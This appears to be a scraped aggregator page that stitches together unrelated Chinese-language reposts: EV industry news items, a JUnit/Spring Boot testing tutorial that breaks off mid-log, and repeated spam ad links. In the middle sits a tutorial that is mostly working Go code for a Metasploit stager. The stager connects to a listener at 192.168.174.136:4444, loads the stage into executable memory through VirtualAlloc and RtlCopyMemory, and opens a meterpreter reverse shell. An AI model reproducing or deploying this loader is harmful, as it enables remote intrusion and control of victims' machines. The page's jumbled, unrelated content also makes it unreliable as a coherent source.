另闢財源!特斯拉開賣 Model S 二手車

電動車大廠特斯拉(Tesla)開始在官網銷售 Model S 二手車,跨出從新創公司轉變成主流車商的重要一步。特斯拉大約在一周前悄悄推出認證二手車方案,讓消費者可以買到價格比新車便宜的特斯拉電動車,並提供 4 年或 5 萬英里保修方案。   特斯拉發言人說,第一批二手車來源主要是一些車主淘汰舊車、添購去年底上市的四輪傳動 Model S。此外,特斯拉在 2012 年推出租車方案,租期通常為 3 年,這些車將在今年開始歸還給特斯拉。   特斯拉並不運用獨立經銷商通路,所以可以保有賣二手車的全部營收。不過,因特斯拉的二手車供應量有限,目前特斯拉網站只在美國 11 個大都會區提供二手車。特斯拉發言人說,這些二手車將分組存放,未必會存放在零售門市。客戶訂購二手車後,可以赴各地區的存放地點取車,或要求特斯拉把車運送到府。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?

電動車進駐大樓,ChargePoint 推出公寓大樓用電動車充電座

在美國,許多人都擁有寬敞的車庫,買了電動車就在車庫中設置充電座,然而若是市區中的大樓住戶,只能停在大樓地下室密密麻麻的停車格,買電動車可就麻煩了。電動車充電座製造商 ChargePoint 看見了這個問題,計劃推出公寓大樓用電動車充電座,解除大樓住戶購買電動車的障礙。    
  《富比世》報導,當特斯拉 Model S 電動車上市時,Gogoro 創辦人陸學森原本想要擁有一輛,但是第一個問題是在台灣沒有上市,就算進口一輛,台灣的住處大樓沒有獨立車庫,無法安裝幫 Model S 電動車充電的充電座,若非要開 Model S 電動車,只能在公司裝設充電座在公司充電,但這樣一來,週末就無法開出去兜風,豈不是大煞風景,最後陸學森在女友說服下,還是打退堂鼓。   這個困擾,其實也是各國所有大樓住戶的困擾,雖然以美國來說,如加州等地區路上設有充電站,不過電動車車主總是想要在家把電充飽飽才開出門,以免半路沒電,據美國能源部統計,80% 電動車都是在家充電,要是在家不能充電,購買電動車的意願就會降低,ChargePoint  執行長帕斯奎‧羅曼諾(Pasquale Romano)表示,除了少數例外,住大樓的人通常不買電動車,正是因為如此。   那要如何改善這個情況?羅曼諾認為,過去為了讓少數電動車主能在大樓停車場充電,大樓業主得全數自掏腰包在停車場設置充電座,投資風險很高,因此意願低落,但大樓業主如果並不用負擔充電座的設置費用,像大樓附設的投幣式自助洗衣機一樣,由業者來設置機器,這樣就成了。      
可吸引高收入使用者   2015 年 4 月,ChargePoint 宣布推出大樓專用的充電座系統,大樓業主不用負擔設置費用,這部分完全由 ChargePoint  吸收,大樓業主只需要為充電座連接電力即可,ChargePoint 會向用戶收取每月 39.99 美元的月費,電費部分則由住戶直接交給大樓業主,如果有電動車的住戶搬走了,ChargePoint 可以暫時關閉住戶所屬停車格的充電座,直到下一位有電動車的住戶入住才重新啟動,這樣一來,大樓業主的風險可說降到極低,勢必能提高安裝充電座的意願。   對大樓來說,提供停車場充電座設施,可吸引電動車車主,讓大樓更快租出,電動車車主又通常是高收入、高社經地位的良好住戶,對大樓有額外幫助;而對 ChargePoint 來說,能打進大樓這片處女地,是開拓新市場的絕佳機會,估計至 2020 年,美國將有 230 萬電動車主,其中有 10% 將會住在大樓內,這種合作方式對大樓與 ChargePoint 可說是雙贏局面。   想出免費贈送充電座商業模式的也不只 ChargePoint,曾經推出低價「開源碼」充電座的新創事業 EMotorWerks,2014 年推出特別活動,免費贈送原本售價 299 美元的 JuiceBox 充電座,條件是用戶要有可用的 Wi-Fi,讓充電座能將資訊傳給 EMotorWerks,以及用戶同意可由 EMotorWerks 來調整充電速度。    
 

    用戶只需要在行動裝置的專屬 App 上,告訴 EMotorWerks 何時要用車要充飽電力,EMotorWerks 會根據電力的離峰尖峰情況,自動調整充電速度,盡可能讓電力都在離峰時充電。在加州,尖峰電價可能高出平均電價 30 倍以上,避開尖峰時段充電可以為用戶節省大量電費;另一方面,也相當於為電網平衡離尖峰電力需求,如夜間風力發電過剩,可加速充電把多餘的電力用掉,尖峰時暫停充電,緩和尖峰負載。   EMotorWerks 未來的營收可望來自為用戶節省電費的服務、為電網調節平衡的服務,以及出售所收集的數據,為此,免費贈送充電座也划算。   EMotorWerks 的點子,也可能為 ChargePoint 採用,ChargePoint 充電座也可能成為大樓業主調節電力負載與電費支出的利器。無論如何,在充電座業者的推波助瀾下,電動車的充電障礙,將漸漸減輕。     本文全文授權轉載自《科技新報》─〈〉

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※為什麼 USB CONNECTOR 是電子產業重要的元件?

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※台北網頁設計公司全省服務真心推薦

※想知道最厲害的網頁設計公司"嚨底家"!

新北清潔公司,居家、辦公、裝潢細清專業服務

※推薦評價好的iphone維修中心

廣州商場喜迎「全能」電動車充電站 今年將建300個

4月30日,廣州市首個設置在商場內電動車「全能」充電樁在高德置地廣場啟用。這種充電站可為所有型號的電動車充電,每次充電2~3個小時,每小時的費用在4元人民幣至10元人民幣之間,約可行駛25至50公里,一般車輛可走一天。未來車主還可以用手機app軟體即時查詢附近充電樁位置以預約充電。   依威能源方面表示,目前在全國範圍內已完成超過150個電動車智慧充電站的鋪設,今年內將在廣州至少建300個這樣的充電站,地點將設在商場、社區、辦公樓等。   目前廣州有新能源汽車4000多輛,其中公車佔有大部分。廣州市政府已經在大學城、跑馬場、花都區先後配備了500多個充電設施,也在30多個公交站場配備了210個專門為600多部電動汽車、公交汽車充電的設施。此外,特斯拉電動車也在廣州的商場、酒店和社區建了幾個專用充電站。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理
【其他文章推薦】

USB CONNECTOR掌控什麼技術要點? 帶您認識其相關發展及效能

台北網頁設計公司這麼多該如何選擇?

※智慧手機時代的來臨,RWD網頁設計為架站首選

※評比南投搬家公司費用收費行情懶人包大公開

※幫你省時又省力,新北清潔一流服務好口碑

※回頭車貨運收費標準

特斯拉推儲能電池系統 德國石墨陽極商 SGL 受惠

美國豪華電動車製造商特斯拉 (Tesla) 跨界家用電池,德國汽車碳纖維生產商西格里集團 (SGL Carbon SE) 在投資人期待該公司可望因此受惠的激勵下,股價創下近三個月以來最大單日漲幅。   SGL 主要是為日立、Panasonic 這些日本電子大廠供應石墨陽極材料,而日立、Panasonic 則會將電池元件賣給特斯拉。   Bankhaus Lampe 分析師 Marc Gabriel 說,SGL 是少數幾家能因電池需求增溫而受惠的德國業者。根據報導,SGL 發言人已確認,該公司的確是日立、Panasonic 的石墨陽極材料供應商。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

鋰電池再生利用,新創事業 FreeWire 推行動充電車

  特斯拉(Tesla)高調宣布鋰電池儲能系統,其中針對企業用戶的「Powerpack」,100 度電售價 25,000 美元,已將平均儲能成本拉低到相當驚人的每度電 250 美元,一般認為若平均儲能成本降到每度電 100 美元,將引爆能源儲存革命,特斯拉挾 GigaFactory 的威力,正全速逼近這個目標,不過,卻有一個小型新創事業,認為現在就可以做到。   這家新創事業 FreeWire 初期募資金額不過 42.5 萬美元,加上美國海軍資助 50 萬美元,如何能超越家大業大的特斯拉?其實原理也不難,就是採用二手電池。   FreeWire 、日產(Nissan)與 NEC 合資的汽車能源供應公司(Automotive Energy Supply Corporation,AESC)合作,AESC 是僅次於 Panasonic,全球第二大車用鋰電池供應商,市佔率達 21%,2014 年銷售最佳的電動車是 Nissan Leaf,其電池正是由 AESC 供應,Nissan 每個月都會測試電池,每六個月就汰換效能已經衰退的鋰電池,數量以千計,對 Nissan 來說庫存這些二線電池是個麻煩,但這些電池的效能或許已經不不敷電動車所需,拿來做為能源儲存用途卻還很有用。   於是,FreeWire 以新電池六分之一的價格取得這些二手電池,第一步,是取之於電動車用之於電動車,將這些二手電池組裝成總容量 48 度電的行動充電車,專供電動車在本來沒有設置充電座的停車場、機場、企業廠區等處充電,行動充電車可以推到停車場任何一個停車格,幫電動車充電,如此一來,停車場可以省下設置大量充電座的成本,卻能提供身為少數的電動車主充電服務,而這些二手電池在每天充放電循環 2 次的情況下,還可以有 5 年的壽命。  
 

    由於使用二手電池,FreeWire 裝置的每度電成本只有 100 美元,執行長阿卡迪‧索西諾夫(Arcady Sosinov)表示,電池產業界要到 2030 年才能達到的成本目標,他們用二手電池壓低成本,所以現在就已經做到。   阿卡迪‧索西諾夫的野心不只是為電動車行動充電,他認為二手電池的商機相當廣大,同樣的系統也可用來取代柴油發電機,為沒有電力供應之處供電,或是作為備援電力,而鋰電池供電比起柴油發電機有更大的優勢,那就是不會產生噪音與廢氣。如果要在戶外辦一場蚊子電影院,使用鋰電池系統顯然更好,而許多開發中國家的手機基地台因電網不穩定都有備用電源需求,以往這些取代柴油發電機的系統生意由奇異的獨拉松獨佔,如今以二手電池成本之低,也可與之競爭。   更進一步,二手電池系統也可進軍特斯拉正大張旗鼓進入的家庭與企業能源儲存領域,不過,二手電池的發展,也不是只會和特斯拉打對台,因為特斯拉發展電動車也一樣會面臨汰換大量二手電池,這些二手電池若都可再利用製成能源儲存裝置,對特斯拉也是一項利多。   FreeWire 利用二手電池的想法也給能源儲存業界一個啟發,過去鋰電池效能會衰退是產業界的一大問題,但換個方向思考,開啟電池的分級使用,反而可開創許多價格彈性商機。     本文全文授權轉載自《科技新報》─〈〉

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

特斯拉Q1財報優 今年或賣出5.5萬輛車

特斯拉6日公佈首季財報,銷售金額比去年同期增加 50%,營收高達 11 億美元,每股淨損 36 美分,優於分析師預期,股價盤後上漲 2.4%,上個月則已累積大漲達 13%。同時,特斯拉預計新的太陽能電池廠將在今年第 3 季啟用,明年第一季前汽車產能估計將快速暴增。   特斯拉首季賣出的車輛達 10045 輛,稍優於原先發佈的 10030 輛,預期 2015 年總銷售車輛將可達 5.5 萬輛。同時,特斯拉的最新車款 Model X 也將於第三季開始販售。特斯拉表示,受到美元強勢走升的影響,今年首季提列的匯損金額高達 2200 萬美元,預計第二季 Model X 的售價仍會受美元影響,因此其將在第三季後調漲部分歐洲市場的電動車售價。   目前特斯拉仍積極在美國擴產,第三季新的太陽能電池廠就即將啟用,汽車產能到了 2016 年首季可望大幅增加。去年馬斯克稱將在內華達州建造一個超級電池工廠,到了 2020 年將生產約 50 萬顆的鋰電池。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

南投搬家公司費用需注意的眉眉角角,別等搬了再說!

新北清潔公司,居家、辦公、裝潢細清專業服務

刺激銷量?北京6月起收取電動車充電服務費

北京市發改委於5月7日發佈了《關於本市電動汽車充電服務收費有關問題的通知》,從2015年6月1日起,提供電動汽車充電服務的充電設施經營單位在收取電費的同時,可按充電電量額外收取充電服務費,每千瓦時收費上限標準為當日本市92號汽油每升最高零售價的15%。各經營單位可在不超過上限標準情況下,制定具體收費標準。   其充電服務費上限標準隨油價變動自行動態調整。如2015年4月29日本市92號汽油最高零售價為6.46元人民幣(下同)/升,則充電服務收費上限標準為6.46元的15%,即0.97元/度。油價上升,充電服務費相應上升油價下降,充電服務費相應下降。   北京市發改委副主任高朋指出,根據測算,此標準可以確保電動汽車動力成本低於燃油汽車。以本市銷售相對較好的北汽E150EV電動汽車為例(100公里平均耗電16度),當油價在6-10元/升區間變動時,充電服務費為每度電0.9元-1.5元。按國家發展改革委檔,對向電力公司直接報裝的充電服務設施,按大工業用電價格標準執行,按此測算,加上電價費用,電動汽車動力成本約為同款燃油汽車的50%-60%左右。   對此有觀點認為,發改委此舉會影響電動汽車銷量,降低消費者對電動車的購買慾。汽車產業分析師張志勇指出,目前,電動車推廣最大的障礙是充電問題,《通知》中規定了電動車充電服務費,可以鼓勵一些民營資本來加入電動車充電網路的建設,此舉將加快北京地區的充電網路建設。   張志勇還指出,即使充電設施經營單位額外收取充電服務費,這個成本也是遠遠低於燃油車的用車成本,這對消費者來看並不能產生多大影響。因此《通知》發布後不僅不會影響電動車的銷量,反而會增加消費者購買電動車的信心。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※想知道最厲害的網頁設計公司"嚨底家"!

※幫你省時又省力,新北清潔一流服務好口碑

※別再煩惱如何寫文案,掌握八大原則!

msf stagers開發不完全指北(二)

採用 Golang 開發stagers

上一篇文章 msf stagers開發不完全指北(一)中我們談到如何採用 c 進行 msf 的 stagers 開發,這篇文章我們探討一下如何使用 Golang 實現同樣的功能

思路梳理

在 Golang 中一點比較重要的是,我們如何能夠獲取到 socket 的文件描述符,除此之外,我們還是同樣的步驟

  1. 向 msf 監聽地址發起 tcp 請求
  2. 獲取 stages
  3. 將 socket fd 放入寄存器 edi
  4. 從起始地址開始執行 stages

編譯環境

  • OS: Windows 10

  • Golang: go version go1.14.1 windows/amd64

獲取stages

socket, err := net.Dial("tcp", "192.168.174.136:4444")
if err != nil {
    return err
}

// read payload size
var payloadSizeRaw = make([]byte, 4)
numOfBytes, err := socket.Read(payloadSizeRaw)
if err != nil {
	return err
}
if numOfBytes != 4 {
    return errors.New("Number of size bytes was not 4! ")
}
payloadSize := int(binary.LittleEndian.Uint32(payloadSizeRaw))

// read payload
var payload = make([]byte, payloadSize)
// numOfBytes, err = socket.Read(payload)
numOfBytes, err = io.ReadFull(socket, payload)
if err != nil {
    return err
}
if numOfBytes != payloadSize {
    return errors.New("Number of payload bytes does not match payload size! ")
}

這裡有幾點我們需要注意的地方,第一是讀取stages長度是需要使用 binary 庫把它轉化為 int32,你可以理解為 python 中的 struct 庫,第二個是我們慣用的從 socket 連接讀取數據使用的是 Read,但是並不能讀全,和網絡有關係,需要使用 ReadFull 或者 ReadAtLeast 進行讀取。讀取到 stages 后,我們可以進行下一步操作了。

socket fd 放入 edi

conn := socket.(*net.TCPConn)
fd := reflect.ValueOf(*conn).FieldByName("fd")
handle := reflect.Indirect(fd).FieldByName("pfd").FieldByName("Sysfd")
socketFd := *(*uint32)(unsafe.Pointer(handle.UnsafeAddr()))

buff := make([]byte, 4)
binary.LittleEndian.PutUint32(buff, socketFd)
return buff

這部分代碼就是我上面所說的難點了,首先 socket, err := net.Dial("tcp", "192.168.174.136:4444") 返回的是一個接口 type Conn interface ,我們需要找到他的真實類型,繼續往裡面跟我們會發現他的真實類型是 *net.TCPConn,為什麼要做這一步?

我們先看看這個結構體

// TCPConn is an implementation of the Conn interface for TCP network
// connections.
type TCPConn struct {
	conn
}

type conn struct {
	fd *netFD
}

我們其實需要的是裏面的文件描述符,我們再往裡跟一下

// Network file descriptor.
type netFD struct {
	pfd poll.FD

	// immutable until Close
	family      int
	sotype      int
	isConnected bool // handshake completed or use of association with peer
	net         string
	laddr       Addr
	raddr       Addr
}

// poll.FD
// FD is a file descriptor. The net and os packages embed this type in
// a larger type representing a network connection or OS file.
type FD struct {
	// Lock sysfd and serialize access to Read and Write methods.
	fdmu fdMutex

	// System file descriptor. Immutable until Close.
	Sysfd syscall.Handle

	// Read operation.
	rop operation
	// Write operation.
	wop operation

	// I/O poller.
	pd pollDesc

	// Used to implement pread/pwrite.
	l sync.Mutex

	// For console I/O.
	lastbits       []byte   // first few bytes of the last incomplete rune in last write
	readuint16     []uint16 // buffer to hold uint16s obtained with ReadConsole
	readbyte       []byte   // buffer to hold decoding of readuint16 from utf16 to utf8
	readbyteOffset int      // readbyte[readOffset:] is yet to be consumed with file.Read

	// Semaphore signaled when file is closed.
	csema uint32

	skipSyncNotif bool

	// Whether this is a streaming descriptor, as opposed to a
	// packet-based descriptor like a UDP socket.
	IsStream bool

	// Whether a zero byte read indicates EOF. This is false for a
	// message based socket connection.
	ZeroReadIsEOF bool

	// Whether this is a file rather than a network socket.
	isFile bool

	// The kind of this file.
	kind fileKind
}

可以看到 Sysfd 是文件描述符,也就是我們想要的,我們需要取一下,這裏因為 Golang 裏面小寫開頭的字段是不導出的,我們需要使用反射取一下

注意:可能因為 Golang 版本不一致,這個結構有所更改,請自行考證一下,主要原因是非導出字段,官方是不保證向下兼容性的

所以獲取文件描述符的代碼就是

fd := reflect.ValueOf(*conn).FieldByName("fd")
handle := reflect.Indirect(fd).FieldByName("pfd").FieldByName("Sysfd")
socketFd := *(*uint32)(unsafe.Pointer(handle.UnsafeAddr()))

文件描述符是 handle 所指向的值,這裏需要注意一下

然後後面的還是我們之前的操作,使用 binary 包把 uint32 轉為 4bytes 數組

然後我們需要把 socket fd 放入 edi

payload = append(append([]byte{0xBF}, socketFD...), payload...)

mov edi, xxxx 放到了 stages 頭部

執行stages

一切的準備工作都做完了,下面就是開始準備執行了,類似執行 shellcode 的方式,這裏的實現方式八仙過海各顯神通了,我這裏只給我我這裏的實現方式

// modify payload to comply with the plan9 calling convention
payload = append(
    []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57},
    append(
        payload,
        []byte{0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3}...,
    )...,
)
addr, _, err := virtualAlloc.Call(0, uintptr(len(payload)), 0x1000|0x2000, 0x40)
if addr == 0 {
    return err
}
RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&payload[0])), uintptr(len(payload)))
syscall.Syscall(address, 0, 0, 0, 0)

這裏的一串奇奇怪怪的字符可以不用加,只是為了遵守 plan9 彙編的調用約定,一些 push 保存堆棧現場和 pop 還原

然後就是先通過申請 VirtualAlloc 一塊可讀可寫可執行的內存,然後使用 RtlCopyMemory 把 stages 字節碼拷貝進去,然後開始跑。

這裏的 windows api 使用的聲明如下

var (
	kernel32      = syscall.MustLoadDLL("kernel32.dll")
	ntdll         = syscall.MustLoadDLL("ntdll.dll")
	virtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
	RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

這裏其實你也可以使用 x/windows 庫方便使用。

結果展示

64位編譯出來 1.73M,通過 upx 壓縮后 616kb,32位編譯出來會更小

執行試試

監聽 payload windows/x64/meterpreter/reverse_tcp ,可以看到成功上線

注意事項

  • 可能因為 Golang 版本不一致,這個結構有所更改,請自行考證一下,主要原因是非導出字段,官方是不保證向下兼容性的
  • 依然需要注意位數的差異,比如32位的payload請使用32位編譯,64位payload使用64位編譯

成果源碼

成果源碼我就不貼出來了,其實也是這些代碼組合在一起

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【【其他文章推薦】

※帶您來了解什麼是 USB CONNECTOR  ?

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※教你寫出一流的銷售文案?

一起玩轉微服務(14)——單元測試

作為一名java開發者,相信你或多或少的接觸過單元測試,對於測試來講它是一門能夠區分專業開發人員與業餘開發人員的重要學科,這篇文章將對java中最常見的一個單元測試框架junit進行一個梳理和講解。

為什麼需要單元測試

在平時的開發當中,一個項目往往包含了大量的方法,可能有成千上萬個。如何去保證這些方法產生的結果是我們想要的呢?當然了,最容易想到的一個方式,就是我們通過System.out來輸出我們的結果,看看是不是滿足我們的需求,但是項目中這些成千上萬個方法,我們總不能在每一個方法中都去輸出一遍嘛。這也太枯燥了。這時候用我們的單元測試框架junit就可以很好地解決這個問題。

junit如何解決這個問題的呢?答案在於內部提供了一個斷言機制,他能夠將我們預期的結果和實際的結果進行比對,判斷出是否滿足我們的期望。

預備工作

junit4是一個單元測試框架,既然是框架,這也就意味着jdk並沒有為我們提供api,因此在這裏我們就需要導入相關的依賴。

junit4是一個單元測試框架,既然是框架,這也就意味着jdk並沒有為我們提供api,因此在這裏我們就需要導入相關的依賴。

這裏的版本是4.12。當然還有最新的版本。你可以手動選擇。這裏選用的是4的版本。

案例

這裏我們要測試的功能超級簡單,就是加減乘除法的驗證。

然後我們看看如何使用junit去測試。

以上就是我們的單元測試,需要遵循一下規則:

  • •每一個測試方法上使用@Test進行修飾
  • •每一個測試方法必須使用public void 進行修飾
  • •每一個測試方法不能攜帶參數
  • •測試代碼和源代碼在兩個不同的項目路徑下
  • •測試類的包應該和被測試類保持一致
  • •測試單元中的每個方法必須可以獨立測試

以上的6條規則,是在使用單元測試的必須項,當然junit也建議我們在每一個測試方法名加上test前綴,表明這是一個測試方法。

assertEquals是一個斷言的規則,裏面有兩個參數,第一個參數表明我們預期的值,第二個參數表示實際運行的值。

我們運行一下測試類,就會運行每一個測試方法,我們也可以運行某一個,只需要在相應的測試方法上面右鍵運行即可。如果運行成功編輯器的控制台不會出現錯誤信息,如果有就會出現failure等信息。

運行流程

在上面的每一個測試方法中,代碼是相當簡單的,就一句話。現在我們分析一下這個測試的流程是什麼:

在上面的代碼中,我們使用了兩個測試方法,還有junit運行整個流程方法。我們可以運行一下,就會出現下面的運行結果:

從上面的結果我們來畫一張流程圖就知道了:

如果我們使用過SSM等其他的一些框架,經常會在before中添加打開數據庫等預處理的代碼,也會在after中添加關閉流等相關代碼。

註解

對於@Test,裏面有很多參數供我們去選擇。我們來認識一下

  • •@Test(expected=XX.class) 這個參數表示我們期望會出現什麼異常,比如說在除法中,我們1/0會出現ArithmeticException異常,那這裏@Test(expected=ArithmeticException.class)。在測試這個除法時候依然能夠通過。
  • •@Test(timeout=毫秒 ) 這個參數表示如果測試方法在指定的timeout內沒有完成,就會強制停止。
  • •@Ignore 這個註解其實基本上不用,他的意思是所修飾的測試方法會被測試運行器忽略。•@RunWith 更改測試運行器。

測試套件

如果我們的項目中如果有成千上萬個方法,那此時也要有成千上萬個測試方法嘛?如果這樣junit使用起來還不如System.out呢,現在我們認識一下測試嵌套的方法,他的作用是我們把測試類封裝起來,也就是把測試類嵌套起來,只需要運行測試套件,就能運行所有的測試類了。

下面我們使用測試套件,把這些測試類嵌套在一起。

 

 

 

參數化設置

什麼是參數化設置呢?在一開始的代碼中我們看到,測試加法的時候是1+1,不過我們如果要測試多組數據怎麼辦?總不能一個一個輸入,然後運行測試吧。這時候我們可以把我們需要測試的數據先配置好。

這時候再去測試,只需要去選擇相應的值即可,避免了我們一個一個手動輸入。

spring boot + junit

通過spring suite tools新建工程

 

 

1. Controller

@RestController
@RequestMapping
public class BookController {
    @RequestMapping("/books")
    public String book() {
        System.out.println("controller");
        return "book";
    }
}

Test1 引入Spring上下文,但不啟動tomcat

@RunWith(SpringRunner.class)
@SpringBootTest  //引入Spring上下文 -> 上下文中的 bean 可用,自動注入
public class BookControllerTest {
    
    @Autowired
    private BookController bookController;  //自動注入
    
    @Test
    public void testControllerExists() {
        Assert.assertNotNull(bookController);
    }
    
}

Test2 引入Spring上下文,且啟動Tomcat 模擬生產環境,接收Http請求

package com.cloud.skyme;

import org.junit.Assert;
import org.junit.jupiter.api.Test;
import org.junit.runner.RunWith;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.boot.test.web.client.TestRestTemplate;
import org.springframework.boot.web.server.LocalServerPort;
import org.springframework.test.context.junit4.SpringRunner;

/** * @author zhangfeng * web單元測試 * */
@RunWith(SpringRunner.class)
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
class Chapter0302junitApplicationTests {
	
	@LocalServerPort
    private int port;
	
	@Autowired
	private TestRestTemplate restTemplate;
    
    @Test
    public void testControllerExists() {
    	Assert.assertEquals(this.restTemplate.getForObject("http://localhost:" + port + "/books", String.class), "book");
    }

}

@RunWith(SpringRunner.class),讓測試運行於Spring測試環境,此註釋在org.springframework.test.annotation包中提供。
@SpringBootTest指定Sspring Bboot程序的測試引導入口。
TestRestTemplate是用於測試rest接口的模板類。
運行單元測試,測試上面邊構建的Wweb地址,可以看到輸出的測試結果與期望的結果相同.

運行單元測試,得到與期望相同的結果。

    
javascript    44行

13:31:03.722 [main] DEBUG org.springframework.test.context.BootstrapUtils - Instantiating CacheAwareContextLoaderDelegate from class [org.springframework.test.context.cache.DefaultCacheAwareContextLoaderDelegate] 13:31:03.739 [main] DEBUG org.springframework.test.context.BootstrapUtils - Instantiating BootstrapContext using constructor [public org.springframework.test.context.support.DefaultBootstrapContext(java.lang.Class,org.springframework.test.context.CacheAwareContextLoaderDelegate)] 13:31:03.801 [main] DEBUG org.springframework.test.context.BootstrapUtils - Instantiating TestContextBootstrapper for test class [com.cloud.skyme.Chapter0302junitApplicationTests] from class [org.springframework.boot.test.context.SpringBootTestContextBootstrapper] 13:31:03.830 [main] INFO org.springframework.boot.test.context.SpringBootTestContextBootstrapper - Neither @ContextConfiguration nor @ContextHierarchy found for test class [com.cloud.skyme.Chapter0302junitApplicationTests], using SpringBootContextLoader 13:31:03.837 [main] DEBUG org.springframework.test.context.support.AbstractContextLoader - Did not detect default resource location for test class [com.cloud.skyme.Chapter0302junitApplicationTests]: class path resource [com/cloud/skyme/Chapter0302junitApplicationTests-context.xml] does not exist 13:31:03.838 [main] DEBUG org.springframework.test.context.support.AbstractContextLoader - Did not detect default resource location for test class [com.cloud.skyme.Chapter0302junitApplicationTests]: class path resource [com/cloud/skyme/Chapter0302junitApplicationTestsContext.groovy] does not exist 13:31:03.838 [main] INFO org.springframework.test.context.support.AbstractContextLoader - Could not detect default resource locations for test class [com.cloud.skyme.Chapter0302junitApplicationTests]: no resource found for suffixes {-context.xml, Context.groovy}.
13:31:03.839 [main] INFO org.springframework.test.context.support.AnnotationConfigContextLoaderUtils - Could not detect default configuration classes for test class [com.cloud.skyme.Chapter0302junitApplicationTests]: Chapter0302junitApplicationTests does not declare any static, non-private, non-final, nested classes annotated with @Configuration. 13:31:03.918 [main] DEBUG org.springframework.test.context.support.ActiveProfilesUtils - Could not find an 'annotation declaring class' for annotation type [org.springframework.test.context.ActiveProfiles] and class [com.cloud.skyme.Chapter0302junitApplicationTests] 13:31:04.070 [main] DEBUG org.springframework.context.annotation.ClassPathScanningCandidateComponentProvider - Identified candidate component class: file [C:\java\workspace\microservice\chapter0302junit\target\classes\com\cloud\skyme\Chapter0302junitApplication.class] 13:31:04.073 [main] INFO org.springframework.boot.test.context.SpringBootTestContextBootstrapper - Found @SpringBootConfiguration com.cloud.skyme.Chapter0302junitApplication for test class com.cloud.skyme.Chapter0302junitApplicationTests 13:31:04.225 [main] DEBUG org.springframework.boot.test.context.SpringBootTestContextBootstrapper - @TestExecutionListeners is not present for class [com.cloud.skyme.Chapter0302junitApplicationTests]: using defaults. 13:31:04.226 [main] INFO org.springframework.boot.test.context.SpringBootTestContextBootstrapper - Loaded default TestExecutionListener class names from location [META-INF/spring.factories]: [org.springframework.boot.test.mock.mockito.MockitoTestExecutionListener, org.springframework.boot.test.mock.mockito.ResetMocksTestExecutionListener, org.springframework.boot.test.autoconfigure.restdocs.RestDocsTestExecutionListener, org.springframework.boot.test.autoconfigure.web.client.MockRestServiceServerResetTestExecutionListener, org.springframework.boot.test.autoconfigure.web.servlet.MockMvcPrintOnlyOnFailureTestExecutionListener, org.springframework.boot.test.autoconfigure.web.servlet.WebDriverTestExecutionListener, org.springframework.boot.test.autoconfigure.webservices.client.MockWebServiceServerTestExecutionListener, org.springframework.test.context.web.ServletTestExecutionListener, org.springframework.test.context.support.DirtiesContextBeforeModesTestExecutionListener, org.springframework.test.context.support.DependencyInjectionTestExecutionListener, org.springframework.test.context.support.DirtiesContextTestExecutionListener, org.springframework.test.context.transaction.TransactionalTestExecutionListener, org.springframework.test.context.jdbc.SqlScriptsTestExecutionListener, org.springframework.test.context.event.EventPublishingTestExecutionListener] 13:31:04.243 [main] DEBUG org.springframework.boot.test.context.SpringBootTestContextBootstrapper - Skipping candidate TestExecutionListener [org.springframework.test.context.transaction.TransactionalTestExecutionListener] due to a missing dependency. Specify custom listener classes or make the default listener classes and their required dependencies available. Offending class: [org/springframework/transaction/interceptor/TransactionAttributeSource] 13:31:04.244 [main] DEBUG org.springframework.boot.test.context.SpringBootTestContextBootstrapper - Skipping candidate TestExecutionListener [org.springframework.test.context.jdbc.SqlScriptsTestExecutionListener] due to a missing dependency. Specify custom listener 